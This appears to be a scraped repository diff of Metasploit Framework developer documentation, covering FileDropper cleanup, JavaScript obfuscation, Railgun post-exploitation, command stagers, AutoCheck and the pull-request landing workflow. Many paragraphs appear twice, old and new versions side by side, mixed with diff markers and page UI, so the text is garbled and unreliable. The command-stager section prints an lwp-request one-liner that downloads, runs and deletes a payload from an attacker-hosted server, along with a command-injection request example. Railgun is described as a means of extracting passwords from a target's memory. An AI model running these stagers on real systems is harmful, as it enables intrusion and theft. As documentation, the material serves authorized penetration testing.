Here is an example that restores a configuration file after being deleted by the module:
```ruby
defcleanup
unlessself.conf_content.nil?
write_file(self.conf_file,self.conf_content)
end
super
end
```
Here is another example of a `cleanup` method that deletes a temporary Git repository:
In some exploitation scenarios such as local privilege escalation, command execution, write privilege attacks, SQL Injections, etc, it is very likely that you have to upload one or more malicious files in order to gain control of the target machine. Well, a smart attacker shouldn't leave anything behind, so if a module needs to drop something onto the file system, it's important to remove it right after the purpose is served. And that is why we created the FileDropper mixin.
The [FileDropper mixin](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/file_dropper.rb) is a file manager that allows you to keep track of files, and then delete them when a session is created. To use it, first include the mixin:
```ruby
includeMsf::Exploit::FileDropper
```
Next, tell the FileDropper mixin where the file is going to be after a session is created by using the `register_file_for_cleanup` method. Each file name should either be a full path or relative to the current working directory of the session. For example, if I want to upload a payload to the target machine's remote path: `C:\Windows\System32\payload.exe`, then my statement can be:
@@ -62,6 +62,14 @@ The other one is ```inspect```, which returns a string of a human-readable repre
session.inspect
```
One commonly used method of the session object is the `platform` method. For example, if you're writing a post module for a windows exploit, in the check method you'll likely want to use `session.platform` to ensure the target session is affected:
```ruby
unless session.platform == 'windows'
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
```
You can also look at [other current post modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/post) and see how they use their session object.
@@ -38,7 +38,7 @@ For debugging purposes, it's always better to turn on the highest level of loggi
There are mainly five logging methods you will most likely be using a lot, and they all have the exact same arguments. Let's use one of the logging methods to explain what these arguments are about:
The first thing you do with ObfuscateJS is you need to initialize it with the JavaScript you want to obfuscate, so in this case, begin like the following:
```
```ruby
js = %Q|
var arrr = new Array();
arrr[0] = windows.document.createElement("img");
@@ -82,7 +82,7 @@ So if I want to obfuscate the variable ```arrr```, and I want to obfuscate the s
In some cases, you might actually want to know the obfuscated version of a symbol name. One scenario is calling a JavaScript function from an element's event handler, such as this:
```
```html
<html>
<head>
<script>
@@ -150,7 +150,7 @@ This time we'll do a "hello world" example:
And here's the output:
```
```javascript
window[(function () { var _d="t",y="ler",N="a"; return N+y+_d })()]((function () { var f='d!',B='orl',Q2='h',m='ello, w'; return Q2+m+B+f })());
Railgun is a very powerful post exploitation feature exclusive to Windows Meterpreter. It allows you to have complete control of your target machine's Windows API, or you can use whatever DLL you find and do even more creative stuff with it. For example: say you have a meterpreter session on a Windows target. You have your eyes on a particular application that you believe stores the user's password, but it is encrypted and there are no tools out there for decryption. With Railgun, what you can do is you can either tap into the process and grep for any sensitive information found in memory, or you can look for the program's DLL that's responsible for the decryption, call it, and let it decrypt it for you. If you're a penetration tester, obviously post exploitation is an important skill to have, but if you don't know Railgun, you are missing out a lot.
Railgun is a very powerful post exploitation feature exclusive to the Windows and Python Meterpreters. It allows you to have complete control of your target machine's Windows API, or you can use whatever DLL you find and do even more creative stuff with it. For example: say you have a Meterpreter session on a Windows target. You have your eyes on a particular application that you believe stores the user's password, but it is encrypted and there are no tools out there for decryption. With Railgun, you can either tap into the process and grep for any sensitive information found in memory, or you can look for the program's DLL that's responsible for the decryption, call it, and let it decrypt it for you. If you're a penetration tester, obviously post exploitation is an important skill to have, but if you don't know Railgun, you are missing out a lot.
### Defining a DLL and its functions
## Defining a DLL and its functions
The Windows API is obviously quite large, so by default Railgun only comes with a handful of pre-defined DLLs and functions that are commonly used for building a Windows program. These built-in DLLs are: kernel32, ntdll, user32, ws2_32, iphlpapi, advapi32, shell32, netapi32, crypt32, wlanapi, wldap32, version. The same list of built-in DLLs can also be retrieved by using the ```known_dll_names``` method.
The Windows API is obviously quite large, so by default Railgun only comes with a handful of pre-defined DLLs and functions that are commonly used for building a Windows program. These built-in DLLs are: advapi32, crypt32, dbghelp, iphlpapi, kernel32, netapi32, ntdll, psapi, shell32, spoolss, user32, version, winspool, wlanapi, wldap32, and ws2_32. The same list of built-in DLLs can also be retrieved by using the `known_library_names` method.
All DLL definitions are found in the "[def](https://github.com/rapid7/metasploit-framework/tree/master/lib/rex/post/meterpreter/extensions/stdapi/railgun/def)" directory, where they are defined as classes. The following template should demonstrate how a DLL is actually defined:
In function definitions, Railgun supports these datatypes: VOID, BOOL, DWORD, WORD, BYTE, LPVOID, HANDLE, PDWORD, PWCHAR, PCHAR, PBLOB.
In function definitions, Railgun supports these datatypes: BOOL, BYTE, DWORD, LPVOID, PBLOB, PCHAR, PDWORD, PULONG_PTR, PWCHAR, ULONG_PTR, VOID, WORD.
There are four parameter/buffer directions: in, out, inout, and return. When you pass a value to an "in" parameter, Railgun handles the memory management. For example, ```MessageBoxA``` has a "in" parameter named ```lpText```, and is of type PCHAR. You can simply pass a Ruby string to it, and Railgun handles the rest, it's all pretty straight forward.
There are four parameter/buffer directions: in, out, inout, and return. When you pass a value to an "in" parameter, Railgun handles the memory management. For example, `MessageBoxA` has an "in" parameter named `lpText`, and is of type PCHAR. You can simply pass a Ruby string to it, and Railgun handles the rest, it's all pretty straight forward.
An "out" parameter will always be of a pointer datatype. Basically you tell Railgun how many bytes to allocate for the parameter, it allocates memory, provides a pointer to it when calling the function, and then it reads that region of memory that the function wrote, converts that to a Ruby object and adds it to the return hash.
An "out" parameter will always be of a pointer datatype. Basically you tell Railgun how many bytes to allocate for the parameter, it allocates memory, provides a pointer to it when calling the function, and then it reads that region of memory that the function wrote, converts that to a Ruby object and adds it to the return hash. Some datatypes such as LPVOID and ULONG_PTR have a size that is determined based on the host architecture, e.g. 32-bit versions of Windows use 4-byte/32-bit values. For cross compatibility, the number 4 (for 4-bytes) can be used as the size for these values on both 32-bit and 64-bit systems. The number four comes from the size used for these types in the original 32-bit implementation and was selected to maintain backwards compatibility when 64-bit support was added.
An "inout" parameter serves as an input to the called function, but can be potentially modified by it. You can inspect the return hash for the modified value like an "out" parameter.
A quick way to define a new function at runtime can be done like the following example:
The fourth type, "return" is used as the return data type. It is passed to `#add_function` after the function name argument.
A quick way to define a new function (or redefine an existing function) at runtime can be done like the following example:
However, if this function will most likely be used more than once, or it's part of the Windows API, then you should put it in the library.
However, if this function will most likely be used more than once, or it's part of the Windows API, then you should put it in to the library.
### Usage
## Usage
The best way to try Railgun is with irb in a Windows Meterpreter prompt. Here's an example of how to get there:
```
```msf
$ msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > run
@@ -72,70 +74,81 @@ msf exploit(handler) > run
[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.106:55148) at 2014-07-30 19:49:35 -0500
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
[*] Starting IRB shell...
[*] You are in the "client" (session) object
>>
```
Note that when you're running a post module or in irb, you always have a ```client``` or ```session``` object to work with, both point to same thing, which in this case is ```Msf::Sessions::Meterpreter_x86_Win```. This Meterpreter session object gives you API access to the target machine, including the Railgun object ```Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun```. Here's how you simply access it:
Note that when you're running a post module or in irb, you always have a `client` or `session` object to work with, both point to same thing, which in this case is `Msf::Sessions::Meterpreter_x86_Win`. This Meterpreter session object gives you API access to the target machine, including the Railgun object `Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun`. Here's how you simply access it:
```ruby
session.railgun
railgun
```
If you run the above in irb, you will see that it returns information about all the DLLs, functions, constants, etc, except it's a little unfriendly to read because there's so much data. Fortunately, there are some handy tricks to help us to figure things out. For example, like we mentioned before, if you're not sure what DLLs are loaded, you can call the ```known_dll_names``` method:
If you run the above in irb, you will see that it returns information about all the DLLs, functions, constants, etc, except it's a little unfriendly to read because there's so much data. Fortunately, there are some handy tricks to help us to figure things out. For example, like we mentioned before, if you're not sure what DLLs are loaded, you can call the `known_dll_name` method:
Now, say we're interested in user32 and we want to find all the available functions (as well as return value's data type, parameters), another handy trick is this:
Note that if you happen to call an invalid or unsupported Windows function, a ```RuntimeError``` will raise, and the error message also shows a list of available functions.
Note that if you happen to call an invalid or unsupported Windows function, a `RuntimeError` will raise, and the error message also shows a list of available functions.
To call a Windows API function, here's how:
To call a Windows API function, call the Ruby function of the desired name on the corresponding library (DLL) object. For example to call `user32!MessageBoxA`:
As you can see this API call returns a hash. One habit we have seen is that sometimes people don't like to check ```GetLastError```, ```ErrorMessage```, and/or the ```return``` value, they kind of just assume it works. This is a bad programming habit, and is not recommended. If you always assume something works, and execute the next API call, you risk having unexpected results (worst case scenario: losing the Meterpreter session).
As you can see, this API call returns a hash. The "return" key is the return value of the function, as defined by its defined datatype. If the return type is a pointer to a known type (a pointer other than LPVOID, such as PCHAR), then the "return" key will be the value of that type and an additional "&return" key will be included. The "&return" key, when present, is the address in memory at which the "return" value is located. This is useful when the caller needs to both access the value but also have the ability to free it at a later time. Note that in these cases, if the pointer is NULL, "return" will always be Ruby's `nil` value and "&return" will be 0.
### Memory Reading and Writing
The "GetLastError" key is the threads last-error code, as returned by [kernel32!GetLastError][kernel32!GetLastError]. This value is useful for determining if the function call was successful and not not, why it failed. The "ErrorMessage" key is a string to a human readable name of the corresponding "GetLastError" code. When making a function call through railgun, it s important to inspect the results to determine if it was successful before processing any results. There is no error handling for native API calls, so simple mistakes like accessing invalid memory locations will cause the session to close as the host process crashes.
The ```Railgun``` class also has two very useful methods that you will probably use: ```memread``` and ```memwrite```. The names are pretty self-explanatory: You read a block of memory, or you write to a region of memory. We'll demonstrate this with a new block of memory in the payload itself:
## Memory Reading and Writing
The `Railgun` class also has useful methods that you will probably use: `memread` and `memwrite`. The names are pretty self-explanatory: You read a block of memory, or you write to a region of memory. We'll demonstrate this with a new block of memory in the payload itself:
```
>> p = session.sys.process.open(session.sys.process.getpid, PROCESS_ALL_ACCESS)
>> process = sys.process.open(sys.process.getpid, PROCESS_ALL_ACCESS)
As you can see, the new allocation is at address 5898240 (or 0x005A0000 in hex). Let's first write four bytes to it:
As you can see, the new allocation is at the previously allocated address. Let's first write some data to it:
```
>> session.railgun.memwrite(5898240, "AAAA", 4)
>> railgun.memwrite(address, "AAAA\x00".b)
=> true
```
```memwrite``` returns true, which means successful. Now let's read 4 bytes from 0x005A0000:
`memwrite` returns true, which means successful. Now let's read 4 bytes from the same address:
```
>> session.railgun.memread(5898240, 4)
>> railgun.memread(address, 4)
=> "AAAA"
```
Be aware that if you supply a bad pointer, you can cause an access violation and crash Meterpreter.
### References:
### Reading and Writing Strings
Railgun also has a number of useful utility methods in `railgun.util`. For example, the `#read_string` method can be used to read an ASCII string from memory. A `read_wstring` variant can be used to read UTF-16 strings.
@@ -20,7 +20,7 @@ This may sound surprising, but sometimes we get asked questions that are already
* **Which ones have been tested**: When a module is developed, usually the exploit isn't tested against every single setup if there are too many. Usually the developers will just try to test whatever they can get their hands on. So if your target isn't mentioned here, keep in mind there is no guarantee it's going to work 100%. The safest thing to do is to actually recreate the environment your target has, and test the exploit before hitting the real thing.
* **What conditions the server must meet in order to be exploitable**: Quite often, a vulnerability requires multiple conditions to be exploitable. In some cases you can rely on the exploit's [check command](How-to-write-a-check-method.md), because when Metasploit flags something as vulnerable, it actually exploited the bug. For browser exploits using the BrowserExploitServer mixin, it will also check exploitable requirements before loading the exploit. But automation isn't always there, so you should try to find this information before running that "exploit" command. Sometimes it's just common sense, really. For example: a web application's file upload feature might be abused to upload a web-based backdoor, and stuff like that usually requires the upload folder to be accessible for the user. If your target doesn't meet the requirement(s), there is no point to try.
* **What conditions the server must meet in order to be exploitable**: Quite often, a vulnerability requires multiple conditions to be exploitable. In some cases you can rely on the exploit's [[check command|How-to-write-a-check-method.md]], because when Metasploit flags something as vulnerable, it actually exploited the bug. For browser exploits using the BrowserExploitServer mixin, it will also check exploitable requirements before loading the exploit. But automation isn't always there, so you should try to find this information before running that "exploit" command. Sometimes it's just common sense, really. For example: a web application's file upload feature might be abused to upload a web-based backdoor, and stuff like that usually requires the upload folder to be accessible for the user. If your target doesn't meet the requirement(s), there is no point to try.
You can use the info command to see the module's description:
If you’ve found a way to execute a command on a target, and you’d like the leverage that ability to execute a command into a meterpreter session, command stagers are for you. Command stagers provide an easy way to write exploits that leverage vulnerabilities such as [command execution](https://www.owasp.org/index.php/Command_Injection) or [code injection](https://www.owasp.org/index.php/Code_Injection) and turn them into sessions. There are currently 14 different flavors of command stagers, each uses system command (or commands) to save (or not save) your payload, sometimes decode, and execute.
The hardest part about command stagers is understanding how much they do. All you need to do for a command stager is to define how the command injection works in the `execute_command` method and then select a few options.
The hardest part about command stagers is understanding how much they do and what they do. All you need to do for a command stager is to define how the command injection works in the `execute_command` method and then select a few options.
# The Vulnerability Test Case
@@ -70,7 +70,7 @@ include Msf::Exploit::CmdStager
**2. Declare your flavors**
To tell `Msf::Exploit::CmdStager` what flavors you want, you can add the ```CmdStagerFlavor``` info in the module's metadata. Either from the common level, or the target level. Multiple flavors are allowed.
To tell `Msf::Exploit::CmdStager` what flavors you want, you can add the ```CmdStagerFlavor``` info in the module's metadata. Either from the common level, or the target level. Multiple flavors are allowed. Remember that different flavors have different approaches to staging the payload for execution. Some flavors will break the payload apart and embed the payload data into multiple `echo` or `printf` commands to write it to disk; others like `wget` and `curl` execute a command to retrieve the payload via network connection. Your chosen flavor will be determined by the availability of a given command on the target system, the size of the command, the size of the payload, the ability to call out on the network, and the security posture of the target.
An example of setting flavors for a specific target:
@@ -98,16 +98,37 @@ However, it is best to set the compatible list of flavors in `CmdStagerFlavor`,
**3. Create the execute_command method**
You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is how you define how to execute a command on the target. The parameter `cmd` is the command to execute. When writing the ```execute_cmd``` method, remember that
You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is how you define how to execute a command on the target. The parameter `cmd` is the command to execute. When writing the ```execute_cmd``` method, remember that a great deal of work might already be done for you. Here is an example of a web host that executes a command as part of a request:
```ruby
def execute_command(cmd, _opts = {})
populate_values if @sid.nil? || @token.nil?
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri),
'cookie' => 'sid=' + @sid,
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => true,
'vars_post' => {
'token' => @token,
'text' => cmd,
'hhook' => 'exec',
'sid' => @sid
}
})
end
```
Since the command is encapsulated within a request, it will be encoded for us. When building and debugging an execute_command method that uses web requests, remember that `set httptrace true` will automatically display the http traffic as it is sent and received.
**4. Decide on the supported payloads**
CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are `ARCH_CMD` payloads that rely on software already present on the target system like netcat, bash, python, or ssh. Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two.
CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are `ARCH_CMD` payloads that rely on software already present on the target system like `netcat`, `bash`, `python`, or `ssh`. Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two.
The best way to let the user decide what kind of payload to use is by defining separate [[targets|Get-Started-Writing-an-Exploit.md]]
Here is an example targets section from a command injection module:
```
```ruby
'Targets' => [
[
'Unix Command',
@@ -133,10 +154,10 @@ Here is an example targets section from a command injection module:
```
The first target is the `ARCH_CMD` target and `unix` platform. This allows the user to select any payload that starts with `cmd/unix`. These payloads do not need to be saved to disk and can just be launched at the command line. The second is `ARCH_X64` and the platform is `linux`; this lets us choose any payload that starts with `linux/x64`. These targets must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a ‘dropper’ because the file must be ‘dropped’ to the disk before it can be executed. In each of the targets above, we’ve selected a default payload we know will work.
The first target is the `ARCH_CMD` target and `unix` platform. This allows the user to select any payload that starts with `cmd/unix`. These payloads do not need to be saved to disk because they are "just" a command, rather than an executable file. As such, they can be contained and launched within a command line string. The second is `ARCH_X64` and the platform is `linux`; this lets us choose any payload that starts with `linux/x64` and includes binary elf payloads. These payload types must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a ‘dropper’ because the file must be ‘dropped’ to the disk before it can be executed. In each of the targets above, we’ve selected a default payload we know will work.
**4. Executing a payload**
As we said earlier, the way a payload is executed depends on the payload type. By including `Msf::Exploit::CmdStager` you are given access to a method called ```execute_cmdstager```. ```execute_cmdstager``` makes a list of required commands to upload, save, and execute your payload, then uses the ```execute_command``` method you defined earlier to run them on the target.
As we said earlier, the way a payload is executed depends on the payload type. By including `Msf::Exploit::CmdStager` you are given access to a method called ```execute_cmdstager```. ```execute_cmdstager``` makes a list of required commands to encode, upload, save, decode, and execute your payload, then uses the ```execute_command``` method you defined earlier to run each command on the target.
Unfortunately, we just mentioned not all payloads need to be saved to disk. In the case of a payload that does not need to be saved to disk, we only need to call ```execute_command```.
This problem of payload/method juggling sounds far worse than it is. Below is a quick example of how simple the ```exploit``` method will become if you have properly defined your targets as discussed in step 3:
@@ -152,8 +173,7 @@ This problem of payload/method juggling sounds far worse than it is. Below is a
end
```
That’s it. If the user selects an `ARCH_CMD` payload, we call the ```execute_command``` method on the _already_ _encoded_ payload. You don’t need to worry about encoding the payload in your ```execute_command``` method.
If the user has selected a binary payload like `ARCH_X64` or `ARCH_X86`, then we call ```execute_cmdstager``` which figures out how to save the file to disk and launch it based on the flavor you set earlier.
That’s it. If the user selects an `ARCH_CMD` payload, we call the ```execute_command``` method on the payload because as we said earlier, these payloads will execute within a single command. If the user has selected a ```dropped``` payload like `ARCH_X64` or `ARCH_X86`, then we call ```execute_cmdstager``` which figures out the series of commands necessary to save the file to disk and launch it based on the flavor and max size you set earlier.
Over the years, we have also learned that these options are quite handy when calling
`execute_cmdstager`:
@@ -259,23 +279,26 @@ msf exploit(cmdstager_demo) > run
# Flavors
Now that we know how to use the `Msf::Exploit::CmdStager` mixin, let's take a look at the command
stagers you can use.
stagers you can use. As mentioned above there are 2 general approaches to staging an executable on disk: by invoking a command that will download the executable file to disk like wget, curl, or fetch, or by breaking the executable file into pieces and including them commands themselves to write it to disk like echo, printf, or vbs. This delineation can be important, as trying to wite a stageless binary payload to disk using a stager that has to include the chunked payload in it will require the execution of dozens of commands, often each one having the signature of the exploit. It is also useful to know the `printf` flavor is the only flavor that embeds the payload into the commands but does ***not*** use `echo`.
Available flavors:
Flavors requiring the payload to be broken apart and embedded into the commands:
@@ -305,9 +328,7 @@ You will also need to make sure the module's supported platforms include windows
## Certutil Command Stager - Windows Only
[Certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb) is a Windows command that can be used to dump and display certification authority, configuration information, configure certificate services, back and restore CA components, etc. It only comes with newer Windows systems starting from Windows 2012, and Windows 8.
One thing certutil can also do for us is decode the Base64 string from a certificate, and save the decoded content to a file. The following demonstrates:
[Certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb) is a Windows command that can be used to dump and display certification authority, configuration information, configure certificate services, back up and restore CA components, etc. It only comes with newer Windows systems starting from Windows 2012, and Windows 8. I find the certutil flavor confusing, as certutil can be used to download files just like `wget` and `ftp`, we do not use it that way here; instead we use `echo` to write the file as a base64 encoded certificate, and then we use `certutil` to decode it prior to execution:
The [Bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb) command stager supports multiple platforms except for Windows (because the use of the which command that Windows does not have). It functions rather similar to the VBS stager, except when it decodes the Base64 payload at runtime, there are multiple commands to choose from: base64, openssl, python, or perl.
The [Bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb) command stager supports multiple platforms except for Windows. Just like many other stagers, it writes a base64 encoded payload to disk, but then it tries to decode it using four different commands: base64, openssl, python, and perl. This is very useful if the target's OS is unpredictable. You can see the way it attempts to use multiple decoding techniques by setting `verbose` to `true` and launching an exploit that has `bourne` as a supported command stager flavor and selecting it as the flavor:
The [echo](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/echo.rb) command stager is suitable for multiple platforms except for Windows. It just [echos](http://manpages.ubuntu.com/manpages/trusty/man1/echo.1fun.html) the payload, chmod and execute it. An example of that looks similar to this:
The [cURL](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/curl.rb) command stager uses the `curl` command on the target host to download the payload file. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
The [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `wget` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
The [lwp-request](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/lwprequest.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `lwp-request` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
```bash
lwp-request -m GET http://10.5.135.201:8080/mdkwKcdGCtU > /tmp/OKOnDYwn;chmod +x /tmp/OKOnDYwn;/tmp/OKOnDYwn;rm -f /tmp/OKOnDYwn
```
To use the lwprequest stager, either specify your CmdStagerFlavor in the metadata:
The [fetch](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/fetch.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `fetch` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
Another possible way to inspect is grab the vulnerable file, and use Metasm. But of course, this is a lot slower and generates more network traffic.
Another possible way to inspect is grab the vulnerable file, and use Metasm. But of course, this is a lot slower and generates more network traffic.
## AutoCheck Mixin
Metasploit offers the possibility to automatically call the `check` method before the `exploit` or `run` method is run. Just prepend the `AutoCheck` module for this, nothing more:
```ruby
prependMsf::Exploit::Remote::AutoCheck
```
According to the `CheckCode` returned by the `check` method, Framework will decided if the module should be executed or not:
| Checkcode | Module executed? |
| --------- | ----------- |
| **Exploit::CheckCode::Vulnerable** | yes |
| **Exploit::CheckCode::Appears** | yes |
| **Exploit::CheckCode::Detected** | yes |
| **Exploit::CheckCode::Safe** | no |
| **Exploit::CheckCode::Unsupported** | no |
| **Exploit::CheckCode::Unknown** | no |
This mixin brings two new options that let the operator control its behavior:
-`AutoCheck`: Sets whether or not the `check` method will be run. Default is `true`.
-`ForceExploit`: Override the check result. The `check` method is run but the module will be executed regardless of the result. Default is `false`.
@@ -54,16 +54,16 @@ In addition, we're going to add a magical line to the config file that will let
So, open up `metasploit-framework/.git/config` with your favorite editor, add an upstream remote, and add the pull request refs for both your and Rapid7's forks. In the end, you should have a section that started off like this:
Some people like to copy these over into remotes named "rapid7" and "yourusername" just so they don't have to remember about "origin" and "upstream," but for this doc, we'll just assume you have "origin" and "upstream" defined like this.
Now, you can git fetch the remote PRs. This will take a little bit, since we have a couple dozen MBs of pull request data. Storage is cheap, though, right?
````
```
$ git fetch --all
Fetching todb-r7
remote: Counting objects: 13, done.
@@ -97,7 +97,7 @@ From https://github.com/rapid7/metasploit-framework
You can `git fetch` a remote any time, and you'll get access to the latest changes to all branches and pull requests.
@@ -105,7 +105,7 @@ You can `git fetch` a remote any time, and you'll get access to the latest chang
A manageable strategy for dealing with outstanding PRs is to start pre-merge testing on the pull request in isolation. For example, to work on PR #1217, we would:
````
```
$ git checkout upstream/pr/1217
Note: checking out 'upstream/pr/1217'.
@@ -124,7 +124,7 @@ HEAD is now at 9e499e5... Make BindTCP test more robust
```
$ git checkout -b landing-1217
````
```
Now, we're on a local branch identical to the original pull request, and can move on from there. We can make our changes, isolated from master, and then either send them back to the contributor (this requires looking up the original contributor's GitHub username and branch name on GitHub), or if there aren't any changes or the changes are trivial, we can land them (if you have committer rights to Rapid7's repo, this is where you land them to the upstream repo).
@@ -173,7 +173,7 @@ You need to add their fork once as a remote: `git remote add OTHER_USER git://gi
This sequence does a few things after editing `.gitconfig`. It creates another copy of landing-1217 (which is itself a copy of upstream/pr/1217)). Next, I push those changes to my branch (todb-r7, aka "origin"). Finally, I have a mighty [.gitconfig alias here](https://gist.github.com/todb-r7/5438391) to open a browser window to send a pull request to the original contributor's branch (you will want to edit yours to reflect your real GitHub username, of course).
I opened that in a browser, and ended up with https://github.com/schierlm/metasploit-framework/pull/1 . Once @schierlm landed it on his branch (again, using `git merge --no-ff` and a short, informational merge commit message), all I (or anyone) had to do was `git fetch` to get the change reflected in upstream/pr/1217, and then the integration of the PR could continue.
I opened that in a browser, and ended up with https://github.com/schierlm/metasploit-framework/pull/1 . Once [@schierlm](https://github.com/schierlm) landed it on his branch (again, using `git merge --no-ff` and a short, informational merge commit message), all I (or anyone) had to do was `git fetch` to get the change reflected in upstream/pr/1217, and then the integration of the PR could continue.
# Collaboration between contributors
@@ -206,9 +206,9 @@ Note the important bit here: **you do not need commit rights to Rapid7 to branch
# Landing to upstream
Back to PR #1217. Turns out, my change was enough to land the original chunk of work. So, someone else (@jlee-r7) was able to to do something like this:
Back to PR #1217. Turns out, my change was enough to land the original chunk of work. So, someone else ([@jlee-r7](https://github.com/jlee-r7)) was able to to do something like this:
Or, if he already have upstream-master checked out:
````
```
$ git checkout upstream-master
$ git rebase upstream/master
$ git merge -S --no-ff --edit landing-1217
$ git push upstream upstream-master:master
````
```
The `--edit` is optional if we have our editor configured correctly in `$HOME/.gitconfig`. The point here is that we *always* want a merge commit, and we *never* want to use the (often useless) default merge commit message. For #1217, this was changed to:
````commit
```
Land #1217, java payload build system refactor
````
```
Note that you should rebase *before* landing -- otherwise, your merge commit will be lost in the rebase.
@@ -248,7 +248,7 @@ Finally, the -S indicates we are going to sign the merge, using our GPG key. Thi
To set yourself up for signing, your .gitconfig (or metasploit-framework/git/.config) file should have these entries:
````
```ini
[user]
name = Your Name
email = your@email.xxx
@@ -256,7 +256,7 @@ signingkey = DEADBEEF # Must match exactly with your key for "Your Name <your@em
[alias]
c = commit -S --edit
m = merge -S --no-ff --edit
````
```
People with commit rights to rapid7/metasploit-framework will have their [[keys listed here|./Committer-Keys.md]].
@@ -271,10 +271,6 @@ Release note examples:
The [rn-no-release-notes](https://github.com/rapid7/metasploit-framework/issues?utf8=%E2%9C%93&q=label%3Arn-no-release-notes+) label must be added if there are no release notes for the merged pull request.
# Cross-linking PRs, Bugs, and Commits
TODO: Update in this new post-Redmine, GitHub issues world
# Merge conflicts
The nice thing about this strategy is that you can test for merge conflicts straight away. You'd use a sequence like:
@@ -291,4 +287,4 @@ If that works, great, you know you don't have any merge conflicts right now.
# Questions and Corrections
Reach out in #contributors on [Metasploit Slack](https://metasploit.com/slack), or by e-mailing msfdev at metasploit dot com.
Reach out in #contributors on [Metasploit Slack](https://metasploit.com/slack), or by e-mailing msfdev at metasploit dot com.
Make a new async payload type (based on pingback payload work) making secure comms, endpoint verification, and async communication first-class citizens, and on by default. These session types would support a much more limited set of actions than Meterpreter, only supporting sleep/upload/download/stage, but would be upgraded to Meterpreter directly as-needed (maybe even transparently). Network protocols can be much more exotic for this, and the listener/payload should be usable externally from Metasploit as well. Todo: pull in async payload proposal notes from @bwatters-r7.
Make a new async payload type (based on pingback payload work) making secure comms, endpoint verification, and async communication first-class citizens, and on by default. These session types would support a much more limited set of actions than Meterpreter, only supporting sleep/upload/download/stage, but would be upgraded to Meterpreter directly as-needed (maybe even transparently). Network protocols can be much more exotic for this, and the listener/payload should be usable externally from Metasploit as well. Todo: pull in async payload proposal notes from [@bwatters-r7](https://github.com/bwatters-r7).
msf6 auxiliary(scanner/http/scraper) > set HTTPRAWHEADERS additional_headers.txt
HTTPRAWHEADERS => additional_headers.txt
msf6 auxiliary(scanner/http/scraper) > exploit
####################
# Request:
####################
GET / HTTP/1.0
Host: 172.16.0.63:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
X-Cookie-Header: example-cookie
```
Some files were not shown because too many files have changed in this diff
Show More
Reference in New Issue
Block a user
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.